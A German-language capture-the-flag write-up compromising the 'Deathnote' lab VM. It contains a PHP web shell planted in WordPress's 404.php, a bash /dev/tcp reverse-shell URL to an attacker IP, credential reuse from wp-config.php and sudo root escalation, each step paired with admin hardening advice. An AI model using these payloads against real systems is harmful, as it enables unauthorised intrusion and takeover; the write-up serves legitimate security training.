192.168.2.118 08:00:27:69:39:21 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment nach aktiven Hosts zu durchsuchen.
Bewertung: Ein Host mit der IP `192.168.2.118` wurde identifiziert. Die MAC-Adresse (`08:00:27:69:39:21`) deutet auf eine VirtualBox VM hin.
Empfehlung (Pentester): Verwende `192.168.2.118` als Ziel-IP für weitere Scans.
Empfehlung (Admin): Standard Netzwerkerkennung.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 15:36 CEST Nmap scan report for deathnote.local (192.168.2.118) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 5eb8ff2dacc7e93c992f3bfcda5ca353 (RSA) | 256 a8f3819d0adc169a49eebc24e4655ca6 (ECDSA) |_ 256 4f20c32d19755be81f320175c2709a7e (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:69:39:21 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms deathnote.local (192.168.2.118)
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -AO -p-`) wird gegen das Ziel durchgeführt. Die Option `-AO` ist wahrscheinlich ein Tippfehler und wird als `-A -O` interpretiert, was OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute einschließt.
Bewertung: Zwei offene Ports werden gefunden: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Standard-SSH-Dienst. * **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Der Titel ist generisch, was auf eine Standardseite oder eine Webanwendung hindeutet. Nmap hat auch den Hostnamen `deathnote.local` über Reverse DNS oder einen ähnlichen Mechanismus ermittelt.
Empfehlung (Pentester): Konzentriere dich auf den Webserver auf Port 80. Füge `deathnote.local` zur `/etc/hosts`-Datei hinzu. Prüfe SSH auf schwache Anmeldedaten.
Empfehlung (Admin): Halte Apache und OpenSSH aktuell. Konfiguriere Hostnamen korrekt.
- Nikto v2.5.0 [...] + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags [...]. + Apache/2.4.38 appears to be outdated [...]. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /manual/: Web server manual found. + /manual/images/: Directory indexing found. + /icons/README: Apache default file found. [...] + /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version [...] + /wordpress/wp-links-opml.php: This WordPress script reveals the installed version. + /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress. + /wordpress/: Drupal Link header found [...]. <-- Falsch positive Drupal-Erkennung? + /wordpress/: A Wordpress installation was found. + /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...] + /wordpress/wp-content/uploads/: Directory indexing found. + /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. [...] + /wordpress/wp-login.php: Wordpress login found. [...] + 1 host(s) tested
Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt.
Bewertung: Nikto liefert eine Fülle von Informationen: * Bestätigt veralteten Apache, fehlende Header, Standard-Verzeichnisse (`/manual`, `/icons`). * **Entscheidend:** Identifiziert eindeutig eine **WordPress-Installation** im Verzeichnis `/wordpress/`. * Findet spezifische WordPress-Dateien und -Pfade (`wp-links-opml.php`, `wp-admin`, `wp-login.php`, `wp-content/uploads`, Akismet-Plugin). * Bemängelt fehlendes `httponly`-Flag für ein WordPress-Cookie. * Directory Indexing ist im Uploads-Verzeichnis (`/wordpress/wp-content/uploads/`) aktiv. Der Fokus muss nun klar auf der WordPress-Installation liegen.
Empfehlung (Pentester):** Führe `wpscan` gegen `http://deathnote.local/wordpress/` (oder `deathnote.vuln`) aus, um Benutzer, Plugins, Themes und bekannte Schwachstellen zu enumerieren. Untersuche das `/uploads`-Verzeichnis. Versuche Standard-Logins oder Brute-Force gegen `wp-login.php`.
Empfehlung (Admin):** Apache und WordPress (Core, Plugins, Themes) dringend aktualisieren. WordPress härten (unnötige Dateien entfernen, Dateiberechtigungen prüfen, Directory Indexing deaktivieren, Sicherheitsplugins verwenden).
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.118 deathnote.local deathnote.vuln
Analyse: Die lokale `/etc/hosts`-Datei wird erneut bearbeitet, um zusätzlich den Hostnamen `deathnote.vuln` (der später im Bericht verwendet wird) der Ziel-IP zuzuordnen.
Bewertung: Stellt sicher, dass das Ziel über beide potenziellen Hostnamen erreichbar ist.
Empfehlung (Pentester): Konsequent einen der Hostnamen (z.B. `deathnote.vuln`) verwenden.
Empfehlung (Admin): Serverseitig sicherstellen, dass der korrekte Hostname verwendet wird (falls vHosts konfiguriert sind).
http://deathnote.vuln/index.html (Status: 200) [Size: 197] http://deathnote.vuln/wordpress (Status: 301) [Size: 320] [--> http://deathnote.vuln/wordpress/] http://deathnote.vuln/manual (Status: 301) [Size: 317] [--> http://deathnote.vuln/manual/] http://deathnote.vuln/robots.txt (Status: 200) [Size: 68]
Analyse: `gobuster` wird gegen den Host `deathnote.vuln` (Port 80) ausgeführt. Diesmal wird der Statuscode 301 (Moved Permanently) *nicht* ausgeblendet (`-b '403,404'`).
Bewertung: Findet die Startseite, `robots.txt`, das Apache-Manual (`/manual`) und **wichtig:** das WordPress-Verzeichnis (`/wordpress`) aufgrund des 301-Redirects auf `/wordpress/`.
Empfehlung (Pentester): Untersuche `robots.txt` und konzentriere dich auf das `/wordpress`-Verzeichnis.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.
fuck it my dad added hint on /important.jpg ryuk please delete it
Analyse: Der Inhalt der `robots.txt`-Datei wird angezeigt.
Bewertung:** Enthält keinen Standard `Disallow`/`Allow`-Eintrag, sondern eine Nachricht und einen **Hinweis auf eine Bilddatei**: `/important.jpg`. Der Kontext (Death Note Thema, Ryuk) ist Teil des CTF-Flavors.
Empfehlung (Pentester): Lade die Datei `http://deathnote.vuln/important.jpg` herunter und untersuche sie (Metadaten, Steganografie, sichtbarer Inhalt).
Empfehlung (Admin): `robots.txt` sollte für Suchmaschinen relevante Anweisungen enthalten, keine internen Notizen oder Hinweise.
[Bild wird analysiert - Ergebnis nicht explizit gezeigt, aber führt zum nächsten Schritt]
Analyse: Die Bilddatei `/important.jpg` wird untersucht (impliziert).
Bewertung: Die Analyse des Bildes (vermutlich sichtbarer Text oder einfache Steganografie) führt zum nächsten Schritt: der Untersuchung der WordPress-Seite selbst.
Empfehlung (Pentester): Folge dem Hinweis aus dem Bild zur WordPress-Seite.
Empfehlung (Admin): Speichere keine Hinweise in Bildern.
Skip to content
kira
kira
i am the god on new WORLD!!!
HINT
i will eliminate you L!
I am light yagami , son of Soichiro Yagami . A great and intelligent person
exists on this planet after L . ….
Published July 19, 2021
Categorized as Uncategorized
my fav line is iamjustic3
L on i will eliminate you L!
[...]
kira
Proudly powered by WordPress.
Analyse: Die Startseite der WordPress-Installation (`/wordpress/`) wird untersucht.
Bewertung:** Die Seite enthält mehrere Hinweise: * Der Benutzername des Autors/Administrators scheint `kira` zu sein. * Der Text enthält Anspielungen auf den Death Note Anime (Light Yagami, L). * **Wichtig:** Ein Satz lautet "my fav line is iamjustic3". Dies ist sehr wahrscheinlich das Passwort für den Benutzer `kira`.
Empfehlung (Pentester):** Versuche, dich mit den Zugangsdaten `kira:iamjustic3` am WordPress-Login (`/wordpress/wp-login.php`) anzumelden.
Empfehlung (Admin):** Gib niemals Passwörter oder starke Hinweise darauf im öffentlichen Inhalt einer Webseite preis. Verwende starke, einzigartige Passwörter.
Username: kira Password: iamjustic3 [Login erfolgreich - Weiterleitung zum WordPress Admin Dashboard]
Analyse: Die im vorherigen Schritt gefundenen Zugangsdaten (`kira:iamjustic3`) werden verwendet, um sich über `wp-login.php` am WordPress-Backend anzumelden.
Bewertung: **Login erfolgreich!** Der Zugriff auf das WordPress-Admin-Dashboard als Benutzer `kira` wurde erlangt.
Empfehlung (Pentester): Suche nach Möglichkeiten, Code auszuführen. Eine gängige Methode ist das Bearbeiten von Theme-Dateien (insbesondere `404.php` oder `functions.php`), falls der Benutzer die entsprechenden Rechte hat.
Empfehlung (Admin): Starke Passwörter verwenden, Admin-Zugang schützen (z.B. 2FA, IP-Whitelisting), Benutzerrechte minimal halten.
[...]
File edited successfully.
Analyse: Innerhalb des WordPress-Adminbereichs wird der Theme-Editor verwendet, um die Datei `404.php` des aktiven Themes (Twenty Nineteen) zu bearbeiten. Der PHP-Code `system($_GET['cmd']);` wird am Anfang der Datei eingefügt. Dieser Code nimmt einen Befehl aus dem URL-Parameter `cmd` entgegen und führt ihn auf dem Server aus.
Bewertung:** **Remote Code Execution (RCE) vorbereitet!** Durch das Bearbeiten der Theme-Datei wurde eine Hintertür geschaffen. Jedes Mal, wenn eine nicht existierende Seite aufgerufen wird (was die 404.php auslöst), kann nun über den `cmd`-Parameter Code ausgeführt werden. Dies ist möglich, da der Benutzer `kira` ausreichende Rechte zum Bearbeiten von Themes hat.
Empfehlung (Pentester): Rufe eine nicht existierende URL auf, die auf die modifizierte `404.php` verweist (z.B. `http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php`), und hänge den `?cmd=` Parameter mit einem Befehl an (z.B. `?cmd=id`).
Empfehlung (Admin):** Deaktiviere den Plugin- und Theme-Editor im WordPress-Backend (füge `define('DISALLOW_FILE_EDIT', true);` zur `wp-config.php` hinzu). Weise Benutzern nur die minimal notwendigen Rechte zu.
404.php archive.php classes comments.php [...] page.php [...]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Die modifizierte `404.php` wird über den Browser oder `curl` aufgerufen. Die Befehle `ls` und `id` werden über den `cmd`-Parameter übergeben.
Bewertung: **RCE bestätigt!** Der Server führt die übergebenen Befehle aus und gibt die Ergebnisse zurück. Die Befehle werden als Benutzer `www-data` (der Benutzer des Apache-Webservers) ausgeführt.
Empfehlung (Pentester): Nutze die RCE, um eine interaktive Reverse Shell zu erhalten.
Empfehlung (Admin): Theme-Editor deaktivieren, Berechtigungen prüfen.
Ziel des POC: Demonstrieren, wie durch Ausnutzung von im Webseiteninhalt gefundenen WordPress-Zugangsdaten (`kira:iamjustic3`) und der Berechtigung zum Bearbeiten von Theme-Dateien eine PHP-Backdoor in die `404.php` eingefügt wird, um Remote Code Execution als `www-data` zu erlangen und eine Reverse Shell zu starten.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. WordPress-Login: Mit `kira:iamjustic3` unter `/wordpress/wp-login.php` anmelden.
2. Theme-Datei bearbeiten: Zum Theme-Editor navigieren (Appearance -> Theme Editor), die `404.php` des Themes `twentynineteen` auswählen und den Code `` am Anfang einfügen. Speichern.
File edited successfully.
3. RCE testen (optional): Die modifizierte Datei mit einem einfachen Befehl aufrufen.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Listener starten: Auf dem Angreifer-System einen Netcat-Listener starten.
listening on [any] 9001 ...
5. Reverse Shell auslösen: Die modifizierte 404.php mit dem Bash-Reverse-Shell-Payload aufrufen.
Payload URL: `http://deathnote.vuln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27`
[Keine relevante Ausgabe von curl]
6. Eingehende Verbindung empfangen: Der Netcat-Listener empfängt die Reverse Shell als `www-data`.
listening on [any] 9001 ... connect to [192.168.2.113] from (UNKNOWN) [192.168.2.118] 55260 bash: cannot set terminal process group (486): Inappropriate ioctl for device bash: no job control in this shell www-data@deathnote:/var/www/deathnote.vuln/wordpress/wp-content/themes/twentynineteen$
Ergebnis & Bewertung: **Initial Access als `www-data` erfolgreich!** Die Kompromittierung eines WordPress-Admin-Kontos und die Möglichkeit, Theme-Dateien zu bearbeiten, führten direkt zu Remote Code Execution und einer Reverse Shell. Dies ist ein häufiger und kritischer Angriffsvektor bei unsicheren WordPress-Installationen.
Empfehlung (Pentester): Beginne die Post-Exploitation als `www-data`. Suche nach sensiblen Daten (z.B. `wp-config.php`) und Wegen zur Rechteerweiterung.
Empfehlung (Admin): WordPress härten: Starke Passwörter, Theme-/Plugin-Editor deaktivieren (`DISALLOW_FILE_EDIT`), minimale Benutzerrechte, regelmäßige Updates.
Analyse:** Nach Erhalt der Shell als `www-data` wird nach sensiblen Informationen gesucht, insbesondere in der WordPress-Konfigurationsdatei.
/** MySQL database username */ define( 'DB_USER', 'l' ); /** MySQL database password */ define( 'DB_PASSWORD', 'death4me' ); * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
Analyse: Im WordPress-Hauptverzeichnis wird die Datei `wp-config.php` mit `grep` nach Zeilen durchsucht, die "user" oder "pass" enthalten (case-insensitive).
Bewertung: **Wichtiger Fund!** Die Datenbank-Zugangsdaten werden gefunden: Benutzer `l` mit dem Passwort `death4me`. Diese könnten potenziell auch für einen Systembenutzer `l` wiederverwendet worden sein.
Empfehlung (Pentester): Prüfe, ob es einen Systembenutzer `l` gibt (`ls /home`). Versuche, dich mit `su l` und dem Passwort `death4me` als Benutzer `l` anzumelden. Versuche auch, dich per SSH als `l` anzumelden. Untersuche die MySQL-Datenbank mit diesen Zugangsdaten.
Empfehlung (Admin): Verwende niemals dieselben Passwörter für Datenbanken und Systembenutzer. Beschränke die Leserechte für `wp-config.php` so weit wie möglich (nur für den Webserver-Benutzer).
total 16 drwxr-xr-x 4 root root 4096 Jul 19 2021 . drwxr-xr-x 18 root root 4096 Jul 19 2021 .. drwxr-xr-x 4 kira kira 4096 Sep 4 2021 kira drwxr-xr-x 4 l l 4096 Sep 4 2021 l
total 36 drwxr-xr-x 4 l l 4096 Sep 4 2021 . drwxr-xr-x 4 root root 4096 Jul 19 2021 .. -rw------- 1 l l 3 Sep 4 2021 .bash_history -rw-r--r-- 1 l l 220 Jul 19 2021 .bash_logout -rw-r--r-- 1 l l 3526 Jul 19 2021 .bashrc drwxr-xr-x 3 l l 4096 Jul 19 2021 .local -rw-r--r-- 1 l l 807 Jul 19 2021 .profile drwx------ 2 l l 4096 Sep 4 2021 .ssh -rw-r--r-- 1 root root 512 Jul 19 2021 user.txt
Analyse: Das `/home`-Verzeichnis wird aufgelistet, was die Existenz der Benutzer `kira` und `l` bestätigt. Anschließend wird in das Home-Verzeichnis von `l` gewechselt und dessen Inhalt aufgelistet.
Bewertung: Im Home-Verzeichnis von `l` befindet sich die Datei `user.txt`. Diese gehört jedoch `root` und ist für `l` (und `www-data`) nur lesbar.
Empfehlung (Pentester): Lies den Inhalt von `user.txt`. Versuche, zu `l` zu wechseln (`su l`) mit dem Passwort `death4me`.
Empfehlung (Admin): Die `user.txt` sollte dem Benutzer `l` gehören und entsprechende Berechtigungen haben.
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.
[... restlicher Brainfuck Code ...]
i think u got the shell , but you wont be able to kill me -kira
Analyse: Der Inhalt von `user.txt` wird ausgegeben. Es handelt sich um Brainfuck-Code. Dieser wird mit einem externen Online-Decoder entschlüsselt.
Bewertung: Die entschlüsselte Nachricht "i think u got the shell , but you wont be able to kill me -kira" ist keine Flag, sondern eine Nachricht vom CTF-Ersteller ("kira"). Die eigentliche User-Flag ist möglicherweise woanders oder wird durch einen anderen Mechanismus repräsentiert (die Hash-Werte am Ende des Original-Logs).
Empfehlung (Pentester): Notiere die Nachricht. Versuche weiterhin, zu `l` zu wechseln, um tieferen Zugriff zu erhalten.
Empfehlung (Admin): Speichere Flags nicht in obfuskierten Formaten ohne klaren Zweck.
Password: death4me [Passworteingabe]
Analyse: Der Befehl `su l` wird ausgeführt, um zum Benutzer `l` zu wechseln. Das aus `wp-config.php` extrahierte Passwort `death4me` wird eingegeben.
Bewertung: **Benutzerwechsel erfolgreich!** Das Datenbankpasswort wurde für den Systembenutzer `l` wiederverwendet. Wir haben nun eine Shell als Benutzer `l`.
Empfehlung (Pentester): Führe Enumeration als `l` durch. Suche nach SUID-Dateien, `sudo`-Rechten, interessanten Dateien/Verzeichnissen (z.B. `/opt`).
Empfehlung (Admin): **Passwort-Wiederverwendung vermeiden!** Datenbank- und Systempasswörter müssen unterschiedlich sein.
Analyse:** Als Benutzer `l` wird weiter nach Wegen zur Rechteerweiterung oder interessanten Informationen gesucht.
[... Standard SUID binaries ...] 665060 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo [...]
Analyse: Suche nach SUID-Binaries als Benutzer `l`.
Bewertung: Die Liste zeigt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Binaries. `sudo` ist vorhanden.
Empfehlung (Pentester): Prüfe `sudo -l`. Untersuche die MySQL-Datenbank genauer.
Empfehlung (Admin): Regelmäßige Überprüfung von SUID-Dateien.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 *:80 *:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Auflisten der lauschenden TCP-Ports.
Bewertung: Bestätigt die Ports 22 (SSH) und 80 (Apache). Zeigt außerdem, dass der MySQL/MariaDB-Server (Port 3306) nur auf dem Localhost-Interface (127.0.0.1) lauscht und somit nicht direkt von außen erreichbar ist.
Empfehlung (Pentester): Da wir die DB-Credentials (`l:death4me`) haben und als `l` auf dem System sind, können wir uns nun mit dem lokalen MySQL-Client verbinden.
Empfehlung (Admin): Es ist eine gute Sicherheitspraxis, Datenbankdienste nur an localhost zu binden, wenn kein externer Zugriff benötigt wird.
Enter password: death4me [Passworteingabe] Welcome to the MariaDB monitor. [...] MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | wordpress | +--------------------+ [...] MariaDB [(none)]> use wordpress; Database changed MariaDB [wordpress]> show tables; +-----------------------+ | Tables_in_wordpress | +-----------------------+ [...] | wp_users | [...] +-----------------------+ [...] MariaDB [wordpress]> select * from wp_users; +----+------------+------------------------------------+---------------+-------------------+---------------------------------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+-------------------+---------------------------------+---------------------+---------------------+-------------+--------------+ | 1 | kira | $P$BLAm2r4YofLSOywvLguipu8Av1Tuwq. | kira | kira123@gmail.com | http://deathnote.vuln/wordpress | 2021-07-19 13:36:00 | | 0 | kira | +----+------------+------------------------------------+---------------+-------------------+---------------------------------+---------------------+---------------------+-------------+--------------+
Analyse: Login in die lokale MariaDB-Datenbank als Benutzer `l` mit dem Passwort `death4me`. Die `wordpress`-Datenbank wird ausgewählt und der Inhalt der Tabelle `wp_users` abgefragt.
Bewertung: Findet den WordPress-Benutzer `kira`. Das Passwort (`user_pass`) ist als Hash gespeichert (`$P$B...`). Dies ist ein phpass-Hash, der typisch für ältere WordPress-Versionen ist.
Empfehlung (Pentester): Versuche, den Hash `$P$BLAm2r4YofLSOywvLguipu8Av1Tuwq.` mit Tools wie `hashcat` oder `john` zu knacken. Das Passwort `iamjustic3`, das wir bereits von der Webseite kennen, sollte mit diesem Hash übereinstimmen.
Empfehlung (Admin): WordPress verwendet mittlerweile standardmäßig stärkere Hashing-Algorithmen. Sicherstellen, dass die Datenbank und die Anwendung aktuell sind.
Password: iamjustic3 [Passworteingabe]
su: Authentication failure
Analyse: Es wird versucht, mit `su` zum Benutzer `kira` zu wechseln, unter Verwendung des Passworts `iamjustic3`, das auf der WordPress-Seite gefunden wurde.
Bewertung: Der Versuch **scheitert**. Obwohl `iamjustic3` das WordPress-Login-Passwort war, ist es anscheinend nicht das Systempasswort für den Benutzer `kira`.
Empfehlung (Pentester): Das Knacken des Hashes aus der Datenbank ist nicht notwendig, da das WP-Passwort bekannt ist, aber für den Systemzugang als `kira` nicht funktioniert. Suche nach anderen Wegen, um als `kira` zu agieren oder direkt zu `root` zu gelangen. Untersuche die Verzeichnisse in `/opt`.
total 16 drwxr-xr-x 4 root root 4096 Aug 29 2021 . drwxr-xr-x 3 root root 4096 Aug 29 2021 .. drwxr-xr-x 2 root root 4096 Aug 29 2021 fake-notebook-rule drwxr-xr-x 2 root root 4096 Aug 29 2021 kira-case
the FBI agent died on December 27, 2006 [...] and we also found something in fake-notebook-rule folder .
total 16 drwxr-xr-x 2 root root 4096 Aug 29 2021 . drwxr-xr-x 4 root root 4096 Aug 29 2021 .. -rw-r--r-- 1 root root 84 Aug 29 2021 case.wav -rw-r--r-- 1 root root 15 Aug 29 2021 hint
use cyberchef
Analyse: Der Benutzer `l` navigiert in das Verzeichnis `/opt/L` und dessen Unterverzeichnisse `kira-case` und `fake-notebook-rule`. In `kira-case` wird eine Textdatei mit Hinweisen gefunden. In `fake-notebook-rule` werden eine WAV-Datei (`case.wav`) und eine `hint`-Datei gefunden. Die `hint`-Datei enthält den Text "use cyberchef".
Bewertung: Dies ist ein weiterer klarer Hinweis. Die Datei `case.wav` enthält wahrscheinlich versteckte Informationen, die mit CyberChef (einem Online-Tool für Datenmanipulation und -analyse) extrahiert werden können. Dies führt wahrscheinlich zum Passwort für `kira`.
Empfehlung (Pentester): Übertrage die Datei `case.wav` auf das Angreifer-System und analysiere sie mit CyberChef oder ähnlichen Tools, die Audio-Steganografie oder versteckte Daten in Mediendateien aufdecken können.
Empfehlung (Admin): Speichere sensible Informationen nicht in versteckter Form in ungesicherten Verzeichnissen.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.2.113 - - [31/May/2023 10:09:27] "GET /case.wav HTTP/1.1" 200 -
[...] 'case.wav' gespeichert [84/84]
Analyse: Die Datei `case.wav` wird vom Zielsystem (als Benutzer `l`) mittels eines temporären Python-HTTP-Servers auf das Angreifer-System heruntergeladen.
Bewertung: Notwendiger Schritt zur Offline-Analyse der Datei.
Empfehlung (Pentester): Analysiere `case.wav` mit CyberChef.
Empfehlung (Admin): Egress-Filtering kann solche Dateitransfers verhindern.
Analyse:** Der folgende Block beschreibt die Offline-Analyse von `case.wav`.
1. Lade case.wav in Base64-Decoder oder CyberChef (Input from File).
2. Extrahiere Hex-Output: 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d
3. Dekodiere Hex zu ASCII: cGFzc3dkIDoga2lyYWlzZXZpbCA=
4. Dekodiere Base64: passwd : kiraisevil
Analyse: Die heruntergeladene `case.wav` wird analysiert. Der Prozess ist: WAV -> Hex -> Base64 -> Klartext.
Bewertung:** **Passwort gefunden!** Die Analyse der WAV-Datei (die vermutlich nur die Hex-Daten enthielt) ergibt nach mehrfacher Dekodierung das Passwort `kiraisevil`.
Empfehlung (Pentester): Verwende dieses Passwort, um dich als Benutzer `kira` anzumelden (`su kira`).
Empfehlung (Admin): Keine Passwörter in Dateien verstecken.
Password: kiraisevil [Passworteingabe]
Analyse: Erneuter Versuch, mit `su` zum Benutzer `kira` zu wechseln, diesmal mit dem aus `case.wav` dekodierten Passwort `kiraisevil`.
Bewertung: **Benutzerwechsel erfolgreich!** Diesmal funktioniert der Wechsel, und wir haben eine Shell als Benutzer `kira`.
Empfehlung (Pentester): Prüfe die `sudo`-Berechtigungen für `kira` (`sudo -l`).
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden.
Analyse:** Als Benutzer `kira` werden die `sudo`-Rechte überprüft.
[sudo] password for kira: kiraisevil [Passworteingabe]
Matching Defaults entries for kira on deathnote:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kira may run the following commands on deathnote:
(ALL : ALL) ALL
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den aktuellen Benutzer (`kira`) aufzulisten. Das Passwort `kiraisevil` wird benötigt.
Bewertung:** **Kritische Fehlkonfiguration!** Die Ausgabe `(ALL : ALL) ALL` bedeutet, dass der Benutzer `kira` **jeden** Befehl als **jeden** Benutzer (insbesondere `root`) auf diesem Host ausführen darf.
Empfehlung (Pentester):** Nutze die `sudo`-Rechte, um eine Root-Shell zu erhalten, z.B. mit `sudo su` oder `sudo /bin/bash`.
Empfehlung (Admin):** **Dringend die `/etc/sudoers`-Datei korrigieren!** Weise Benutzern nur die spezifischen `sudo`-Rechte zu, die sie für ihre Aufgaben benötigen. Vermeide `(ALL : ALL) ALL`.
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Befehl `sudo su` wird ausgeführt.
Bewertung:** **Privilege Escalation erfolgreich!** Aufgrund der unsicheren `sudoers`-Konfiguration erhält `kira` ohne weitere Passwortabfrage eine Root-Shell (`uid=0(root)`).
Empfehlung (Pentester):** Root-Zugriff erlangt. Suche die Root-Flag.
Empfehlung (Admin):** Siehe vorherige Empfehlung zur `sudoers`-Konfiguration.
[...]
root.txt
:::::::: :::::::: :::: ::: :::::::: ::::::::: ::: ::::::::::: :::::::: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#+ +#+ +:+ +#+ +:+ +#+ :#: +#++:++#: +#++:++#++: +#+ +#++:++#++ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+# +#+ +#+ +#+ +#+ +#+ +#+ #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# ######## ######## ### #### ######## ### ### ### ### ### ######## ##########follow me on twitter###########3 and share this screen shot and tag @KDSAMF
Analyse: Nach Erhalt der Root-Shell wird in das Root-Home-Verzeichnis (`/root` oder `~`) gewechselt und die Datei `root.txt` ausgegeben.
Bewertung: Die Root-Flag, erneut als ASCII-Art und Nachricht, wurde gefunden.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.
Ziel des POC: Demonstrieren, wie nach Erlangung des Zugangs als Benutzer `kira` durch eine unsichere Konfiguration in der `sudoers`-Datei (`(ALL : ALL) ALL`) mittels `sudo su` vollständige Root-Rechte erlangt werden können.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. Shell als kira erlangen: (Wie in den vorherigen Schritten beschrieben, z.B. via `su kira`)
Password: kiraisevil
2. `sudo -l` überprüfen (optional, zur Bestätigung):
[sudo] password for kira: kiraisevil
[...]
User kira may run the following commands on deathnote:
(ALL : ALL) ALL
3. `sudo su` ausführen: Den Befehl zur Eskalation ausführen.
4. Rechte überprüfen: Mit `id` die erlangten Root-Rechte bestätigen.
uid=0(root) gid=0(root) groups=0(root)
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die übermäßige Rechtevergabe in der `sudoers`-Datei ermöglichte eine triviale Eskalation zu Root.
Empfehlung (Pentester): Root-Zugriff ist erreicht. Flags extrahieren.
Empfehlung (Admin): **`/etc/sudoers`-Datei dringend überprüfen und korrigieren!** Prinzip der geringsten Rechte anwenden.